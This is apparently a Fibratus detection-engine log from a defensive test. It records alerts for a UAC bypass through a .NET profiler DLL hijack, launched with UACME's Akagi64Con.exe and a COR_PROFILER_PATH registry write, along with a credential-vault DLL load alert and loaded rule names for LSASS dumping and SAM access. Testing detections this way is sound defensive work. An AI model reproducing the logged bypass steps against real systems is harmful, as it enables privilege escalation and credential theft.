UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 10760622 + Pid: 10096 + Tid: 16160 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:22:37.9403975 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 255c67000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dd3c5a080, name➜ cmd.exe, pid➜ 2076, ppid➜ 10096, real_ppid➜ 10096, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 18:22:37.9403451 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 14695981039346656037 + + Pid: 10096 + Ppid: 7068 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T18:23:02+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 10888162 + Pid: 18348 + Tid: 9480 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:22:59.468871 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd6060473d8d0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 18348 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 10903585 + Pid: 10096 + Tid: 12756 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:23:00.407851 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 39e082000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dee240080, name➜ cmd.exe, pid➜ 4836, ppid➜ 10096, real_ppid➜ 10096, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 18:23:00.4077804 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 10096 + Ppid: 18348 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T18:25:31+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\Windows\ImmersiveControlPanel\SystemSettings.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 11736500 + Pid: 1228 + Tid: 6788 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:25:24.046528 +0100 CET + Params: cmdline➜ "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel, directory_table_base➜ 281992000, domain➜ ARCHRABBIT, exe➜ C:\Windows\ImmersiveControlPanel\SystemSettings.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffffad0df25ce0c0, name➜ SystemSettings.exe, pid➜ 3784, ppid➜ 1228, real_ppid➜ 1228, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 18:25:24.0464597 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Suspicious Vault client DLL load, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.seq.link: 694117540602839040, tactic.id: TA0006 + + Pid: 1228 + Ppid: 1008 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 11764246 + Pid: 3784 + Tid: 18176 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:25:25.3018028 +0100 CET + Params: base_address➜ 7ff9f0340000, checksum➜ 356647, default_address➜ 7ff9f0340000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3784, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.name: Suspicious Vault client DLL load, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.seq.link: 694117540602839040, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 3784 + Ppid: 1228 + Name: SystemSettings.exe + Parent name: svchost.exe + Cmdline: "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Windows\ImmersiveControlPanel\SystemSettings.exe + Cwd: C:\Windows\ImmersiveControlPanel\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T18:28:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T18:28:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T18:28:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T18:28:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info 